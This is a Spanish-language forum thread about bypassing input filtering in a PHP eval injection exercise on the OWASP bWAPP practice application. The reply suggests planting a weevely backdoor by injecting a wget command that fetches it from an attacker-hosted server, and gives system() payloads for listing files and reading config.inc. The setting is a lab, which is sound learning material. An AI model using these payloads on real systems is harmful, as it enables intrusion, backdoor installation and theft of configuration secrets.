Buenas a todos. Hace muuuucho tiempo que no posteo nada.
Hoy decidí practicar nuevamente con la aplicación bwapp de owasp. En el nivel intermedio tenemos algo curioso en la aplicación y es que ahora acepta caracteres especiales que dificultan la ejecición de codigo en funciones como exec, shell_exec, que en el nivel simple se dan muy bien...
(https://i.imgur.com/hP3oAiM.png)
Mi duda... ¿Cómo puedo bypasear esta sentencia de código?
<?php
if(isset($_REQUEST["message"]))
{
// If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
?>
<p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>
<?php
}
// If the security level is MEDIUM or HIGH
else
{
?>
<p><i><?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");;?></i></p>
<?php
}
}
?>
Estuve sviendo algunos videos acerca de esta función y por lo que he comprendido anula las comillas simples y dobles, sin embargo el ampersant && la app cambia su comportamiento, todo lo que va despues del & queda ignorado a la vista del navegador.
Hola Olger346, (https://underc0de.org/foro/profile/Olger346/)
Existen diversas formas, sin embargo, genera un backdoor con weevely y ese backdoor lo subes a una plataforma de almacenamiento.
Si notas, el message lo recibe como parámetro, por tanto, puedes ejecutar lo siguiente con un wget y hacerle una inyección para subirle shell.
shell_exec(wget tu_servidor_donde_alojaste_tu_backdoor.com/mortal.txt -O output.php)
Y listo, accederías según veo, a tu dirección 192.168.1.127/bWAPP/shell.php.
Se me olvidó, no revisé lo de htmlspecialchars, al no permitir el shell_exec y filtrar, lo que podemos hacer es: intentar poner por ejemplo: message=cualquiera;system('ls -la');
También podrías intentar message=system(%27cat%20config.inc%27); e irte a ver el código fuente, a ver si lograses ver información útil.
Un saludo.
Muchas gracias por tu comentario, intentaré algo extra con la información que me has proporcionado